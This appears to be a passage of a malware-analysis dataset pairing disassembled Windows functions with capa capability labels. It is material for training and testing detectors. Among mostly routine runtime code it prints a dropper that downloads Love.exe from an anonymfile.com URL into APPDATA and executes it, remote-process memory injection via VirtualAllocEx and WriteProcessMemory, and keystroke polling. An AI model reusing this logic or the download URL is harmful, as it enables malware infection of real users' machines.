joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000e1a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x68
mov rax, qword [0x140346cb0]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor edi, edi
mov rbp, rdx
mov rdx, qword [rsp + 0xc0]
mov r15d, r9d
mov r14, r8
mov ebx, ecx
mov qword [rsp + 0x50], reloc.OLEAUT32.dll_SafeArrayDestroy
mov qword [rsp + 0x48], rdi
mov byte [rsp + 0x38], dil
cmp byte [rdx], dil
jne 0x14000e1ee
mov r8d, edi
jmp 0x14000e1fb
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], dil
jne 0x14000e1f2
lea rcx, [rsp + 0x38]
call fcn.14000b7d0
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
cmp qword [rsp + 0x50], 0x10
mov rbx, qword [rsp + 0x48]
mov r8d, 5
lea rcx, [rsp + 0x38]
mov rsi, rax
cmovae rcx, qword [rsp + 0x38]
cmp rbx, r8
mov dword [rsp + 0x30], edi
cmovb r8, rbx
test r8, r8
jne 0x14000e248
mov eax, edi
jmp 0x14000e254
lea rdx, [0x140013314]
call sub.MSVCR110.dll_memcmp
cdqe
test rax, rax
jne 0x14000e266
cmp rbx, 5
jb 0x14000e2a2
mov eax, edi
setne al
test eax, eax
jne 0x14000e2a2
lea rax, [rsp + 0x30]
mov r9d, 0x40
mov r8, r15
mov rdx, rbp
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r9, r15
mov r8, r14
mov rdx, rbp
mov rcx, rsi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edi, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rsp + 0x50], 0x10
jb 0x14000e2bd
mov rcx, qword [rsp + 0x38]
call sub.MSVCR110.dll_void___cdecl_operator_delete_void____ptr64_
mov eax, edi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400104e0
add rsp, 0x68
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000fa60
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x88
mov rax, qword [0x140346cb0]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov r13d, r8d
mov rbp, rdx
mov r8d, ecx
mov ecx, 0x1fffff
xor edx, edx
mov rsi, r9
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edi, edi
mov r12b, 1
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x30], rdi
mov ebx, edi
movzx r15d, r12b
movzx r14d, r12b
test rax, rax
je 0x14000fcd2
mov qword [rsp + 0x68], reloc.OLEAUT32.dll_SafeArrayDestroy
mov qword [rsp + 0x60], rdi
mov byte [rsp + 0x50], bl
cmp byte [rsi], bl
jne 0x14000fade
mov r8d, edi
jmp 0x14000faeb
or r8, 0xffffffffffffffff
inc r8
cmp byte [rsi + r8], bl
jne 0x14000fae2
lea rcx, [rsp + 0x50]
mov rdx, rsi
call fcn.14000b7d0
cmp qword [rsp + 0x68], 0x10
mov rbx, qword [rsp + 0x60]
mov r8d, 4
lea rcx, [rsp + 0x50]
cmovae rcx, qword [rsp + 0x50]
cmp rbx, r8
cmovb r8, rbx
test r8, r8
jne 0x14000fb24
mov eax, edi
jmp 0x14000fb30
lea rdx, [0x14001330c]
call sub.MSVCR110.dll_memcmp
cdqe
test rax, rax
jne 0x14000fb42
cmp rbx, 4
jb 0x14000fba9
mov eax, edi
setne al
test eax, eax
jne 0x14000fba9
mov rsi, r13
mov r13, qword [rsp + 0x38]
nop
mov r9d, 0x3000
mov r8, rsi
xor edx, edx
mov rcx, r13
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
jne 0x14000fb7b
inc edi
cmp edi, 5
jl 0x14000fb50
xor dil, dil
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rsp + 0x68], 0x10
jb 0x14000fb99
mov rcx, qword [rsp + 0x50]
call sub.MSVCR110.dll_void___cdecl_operator_delete_void____ptr64_
test dil, dil
je 0x14000fcd2
xor eax, eax
jmp 0x14000fcd5
test rbp, rbp
jne 0x14000fbb3
mov ebp, 0x7fff
mov rax, r13
mov r13, qword [rsp + 0x38]
mov rsi, rbp
mov qword [rsp + 0x40], rax
nop word [rax + rax]
mov r9d, 0x3000
mov r8, rax
mov rdx, rsi
mov rcx, r13
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x14000fc1b
cmp rax, rsi
je 0x14000fc1b
sub rax, rbp
cmp rax, 0x7fffffff
jb 0x14000fb7e
mov rax, rbp
sub rax, rbx
cmp rax, 0x7fffffff
jb 0x14000fb7e
test r14b, r14b
je 0x14000fc65
test r12b, r12b
je 0x14000fcbc
mov rax, qword [rsp + 0x48]
test r15b, r15b
movzx r14d, r14b
cmovne r14d, edi
add rax, 0xffff
movabs rcx, 0x7fffffffffffffff
mov esi, eax
mov qword [rsp + 0x48], rax
add rsi, rbp
cmp rsi, rcx
jae 0x14000fc60
cmp rax, 0x7fffffff
jb 0x14000fcae
xor r12b, r12b
jmp 0x14000fcbc
test r15b, r15b
je 0x14000fcae
test r12b, r12b
mov ecx, 1
movzx r14d, r14b
cmovne r14d, ecx
mov rcx, qword [rsp + 0x30]
mov rsi, rbp
add rcx, 0xffff
mov eax, ecx
mov qword [rsp + 0x30], rcx
sub rsi, rax
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
jae 0x14000fcab
cmp rcx, 0x7fffffff
jb 0x14000fcae
xor r15b, r15b
mov rax, qword [rsp + 0x40]
test r12b, r12b
jne 0x14000fbd0
mov rax, qword [rsp + 0x40]
test r15b, r15b
jne 0x14000fbd0
mov dil, 1
jmp 0x14000fb7e
mov rax, rbx
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1400104e0
add rsp, 0x88
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400106b4
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x30
xor r15d, r15d
mov dword [rax - 0x18], r15d
call qword [sym.imp.MSVCR110.dll___crtGetShowWindowMode]
movzx r14d, ax
mov rcx, qword gs:[0x30]
mov rdx, qword [rcx + 8]
mov esi, r15d
xor eax, eax
lock cmpxchg qword [0x140347328], rdx
je 0x14001070b
cmp rax, rdx
jne 0x140010709
mov ebx, 1
mov esi, ebx
jmp 0x140010710
jmp 0x1400106ee
mov ebx, 1
mov eax, dword [0x140347330]
cmp eax, ebx
jne 0x140010728
mov edi, 0x1f
mov ecx, edi
call sub.MSVCR110.dll__amsg_exit
jmp 0x140010764
mov eax, dword [0x140347330]
test eax, eax
jne 0x140010759
mov dword [0x140347330], ebx
lea rdx, [0x1400123d8]
lea rcx, [0x1400123b8]
call sub.MSVCR110.dll__initterm_e
test eax, eax
je 0x14001075f
mov eax, 0xff
jmp 0x14001088f
mov dword [0x140346d74], ebx
mov edi, 0x1f
mov eax, dword [0x140347330]
cmp eax, ebx
jne 0x14001078b
lea rdx, [0x1400123b0]
lea rcx, [0x140012358]
call sub.MSVCR110.dll__initterm
mov dword [0x140347330], 2
test esi, esi
jne 0x140010799
mov rax, r15
xchg qword [0x140347328], rax
cmp qword [0x140347338], r15
je 0x1400107c4
lea rcx, [0x140347338]
call fcn.140010bb0
test eax, eax
je 0x1400107c4
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140347338]
call rax
mov rax, qword [sym.imp.MSVCR110.dll__wcmdln]
mov rcx, qword [rax]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
cmp word [rcx], 0x20
ja 0x140010840
cmp word [rcx], r15w
je 0x1400107e7
test edx, edx
jne 0x140010840
movzx eax, word [rcx]
sub ax, bx
cmp ax, di
ja 0x1400107fd
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1400107e7
movzx r9d, r14w
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.14000fd00
mov dword [0x140346d70], eax
cmp dword [0x140346d90], r15d
jne 0x140010829
mov ecx, eax
call qword [sym.imp.MSVCR110.dll_exit]
cmp dword [0x140346d74], r15d
jne 0x14001083e
call qword [sym.imp.MSVCR110.dll__cexit]
mov eax, dword [0x140346d70]
jmp 0x14001088f
cmp word [rcx], 0x22
jne 0x140010854
mov eax, r15d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1400107d7
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov r14, qword [rsp + 0x58]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.140010c30
add rsp, 0x28
jmp 0x1400106b4
Function at 0x1400011c0
Capabilities:
Create process on windows
Download url
Query environment variable
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rdx, str.Russian
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], dil
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x140001216
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.1400013b0
nop
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 9
jb 0x140001279
lea rax, [rcx + 9]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 9
lea rdx, str.Love.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 9], 0
jmp 0x140001291
mov qword [rsp + 0x20], 9
mov edx, 9
lea rcx, [rsp + 0x30]
call fcn.140001510
lea r8, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae r8, qword [rsp + 0x30]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, str.https:__anonymfile.com_f_6a228991_9cbb_4061_93e5_259f7bed245a
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x1400012ea
lea r8, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae r8, qword [rsp + 0x30]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14000132a
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001325
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001325
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000170c
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400016b0
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
Function at 0x1400029b0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400029fa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400029fa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400029fa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400029fa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400029fa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400029fc
xor al, al
add rsp, 0x28
ret

Function at 0x140007318
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140007387
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007387
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007387
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007387
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007387
cmp dword [rcx + 0x84], 0xe
jbe 0x140007387
cmp dword [rcx + 0xf8], 0
je 0x140007387
mov ecx, ebx
call fcn.14000748c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000714c
nop
cmp dword [rbp + 0x20], 0
je 0x1400073d5
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400073e0
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140007318

Function at 0x140007578
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140007318
Function at 0x14001310c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1400093bc
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1400131ad
cmp ebx, dword [rsp + 0x30]
je 0x1400131a6
test esi, esi
je 0x1400131a6
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140013181
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14001318e
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14001316b
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140013192
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1400131af
mov eax, 1
jmp 0x1400131af
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140014444
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140014474
xor eax, eax
jmp 0x140014537
mov rbp, rbx
cmp word [rax], si
je 0x140014499
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140014480
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14001447c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14001473c
movsxd r14, eax
test eax, eax
jne 0x1400144d7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14001446d
mov rcx, r14
call fcn.140009e40
mov rdi, rax
test rax, rax
jne 0x1400144f0
xor ecx, ecx
call fcn.140008170
jmp 0x1400144cc
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14001473c
test eax, eax
jne 0x140014521
mov rcx, rdi
call fcn.140008170
jmp 0x14001452b
xor ecx, ecx
call fcn.140008170
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140014554
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400145db
mov rsi, rbx
cmp word [rax], bp
je 0x14001459a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140014584
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140014580
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140009e40
mov rdi, rax
test rax, rax
je 0x1400145c8
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140022830
mov rbp, rdi
xor ecx, ecx
call fcn.140008170
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001c778
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000d364
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14001c802
cmp byte [rbp - 0x21], r15b
je 0x14001c7fd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14001c838
call fcn.14000b0e0
test eax, eax
jne 0x14001c824
cmp byte [rbp - 0x21], r15b
je 0x14001c81c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14001c838
cmp byte [rbp - 0x21], r15b
je 0x14001c835
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000e404
test eax, eax
jne 0x14001c8d8
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000d364
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001c877
cmp byte [rbp - 0x21], r15b
je 0x14001c8ac
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14001c8ac
call fcn.14000b0e0
test eax, eax
jne 0x14001c898
cmp byte [rbp - 0x21], r15b
je 0x14001c891
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14001c8ac
cmp byte [rbp - 0x21], r15b
je 0x14001c8a9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000e404
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14001c8d8
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14001c8db
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14001c8e9
mov rcx, rdi
call fcn.140008170
cmp byte [rbp + 0x3f], r15b
je 0x14001c8f8
mov rcx, qword [rbp + 0x27]
call fcn.140008170
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14001ee90
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1400958f0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14001eee7
cmp word [rdx], r13w
jne 0x14001eee7
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14001eeec
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14001f011
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14001f032
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14001ef25
mov rdx, r9
mov word [rbx], cx
jmp 0x14001ef4c
cmp r9, r8
jae 0x14001ef5c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14001ef06
jmp 0x14001f011
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001f006
cmp dword [rsp + 0x80], esi
je 0x14001f006
lea r8, [0x1400958f0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14001efde
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14001efae
mov word [rbx], r13w
jmp 0x14001f00e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14001efbb
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14001f00e
cmp word [rsp + 0x70], r13w
jne 0x14001efeb
cmp rbx, r14
je 0x14001efa8
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14002042c
cmp word [rsp + 0x70], r13w
je 0x14001f011
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1400958f0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14001f00b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14001f011
Function at 0x14002fe0c
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
test ecx, ecx
je 0x14002fe88
movsxd rdx, ecx
lea rcx, [0x14002fd6c]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rbx, qword [0x140095f70]
test rbx, rbx
je 0x14002fefb
mov rdi, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbx + 0x10], eax
jne 0x14002fe7e
cmp byte [rbx + 0x20], 0
je 0x14002fe7e
mov rcx, qword [rbx + 0x18]
xor r9d, r9d
mov dword [rsp + 0x30], 3
xor r8d, r8d
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea rdx, [r9 - 2]
call qword [sym.imp.USER32.dll_SetWindowPos]
mov rbx, rdi
test rdi, rdi
jne 0x14002fe44
jmp 0x14002fefb
mov rbx, qword [0x140095f70]
test rbx, rbx
je 0x14002fefb
mov rsi, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbx + 0x10], eax
jne 0x14002fef3
cmp byte [rbx + 0x21], 0
je 0x14002feb7
mov rcx, qword [rbx + 0x18]
mov edx, 1
call qword [sym.imp.USER32.dll_EnableWindow]
cmp byte [rbx + 0x20], 0
je 0x14002fee3
mov rcx, qword [rbx + 0x18]
xor r9d, r9d
mov dword [rsp + 0x30], 3
xor r8d, r8d
and dword [rsp + 0x28], 0
or rdx, 0xffffffffffffffff
and dword [rsp + 0x20], 0
call qword [sym.imp.USER32.dll_SetWindowPos]
lea rdx, [rbx + 0x10]
lea rcx, [0x140095f70]
call fcn.14003a6b4
mov rbx, rsi
test rsi, rsi
jne 0x14002fe94
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140032084
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140092290]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r14, rcx
xor ebx, ebx
call qword [sym.imp.USER32.dll_GetFocus]
lea rdx, str.PB_WindowID
mov rcx, r14
mov rdi, rax
xor ebp, ebp
call qword [sym.imp.USER32.dll_GetPropW]
lea r13d, [rbx + 9]
mov rsi, rax
test rax, rax
je 0x140032143
lea rdx, [rsp + 0x20]
mov rcx, r14
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x140032143
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x20], eax
jne 0x140032143
mov rcx, qword [0x1400969c0]
lea rdx, [rsi - 1]
call fcn.140039c88
mov rbx, rax
lea ebp, [r13 - 8]
cmp dword [rax + 0x20], 0
jle 0x140032143
mov rcx, qword [rax + 8]
xor edx, edx
movsxd rax, dword [rax + 0x20]
add rcx, 4
cmp word [rcx - 2], r13w
jne 0x140032133
mov r8d, 0xfa01
cmp word [rcx], r8w
je 0x140032141
inc rdx
add rcx, 6
cmp rdx, rax
jge 0x140032143
jmp 0x140032120
xor ebp, ebp
mov sil, pe_nt_image_headers64
test rdi, rdi
je 0x140032213
mov ecx, r13d
call qword [sym.imp.USER32.dll_GetKeyState]
test sil, al
je 0x140032213
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetKeyState]
test sil, al
jne 0x140032213
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
test sil, al
jne 0x140032213
mov ecx, 0x12
call qword [sym.imp.USER32.dll_GetKeyState]
test sil, al
jne 0x140032213
mov r8d, 0x10
lea rdx, [rsp + 0x28]
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetClassNameW]
test ebp, ebp
jne 0x140032213
lea r8d, [rbp + 5]
lea rdx, str.RichE
lea rcx, [rsp + 0x28]
call fcn.140013fb4
test eax, eax
je 0x1400321e3
lea r8d, [rbp + 4]
lea rdx, str.RICHE
lea rcx, [rsp + 0x28]
call fcn.140013fb4
test eax, eax
jne 0x1400321fe
xor r9d, r9d
xor r8d, r8d
mov edx, 0x44e
mov rcx, rdi
call qword [sym.imp.USER32.dll_SendMessageW]
bt rax, 0xb
jae 0x14003227a
lea rdx, str.Scintilla
lea rcx, [rsp + 0x28]
call fcn.1400198e4
test eax, eax
je 0x14003227a
test r14, r14
je 0x140032255
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetKeyState]
test sil, al
jne 0x140032248
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
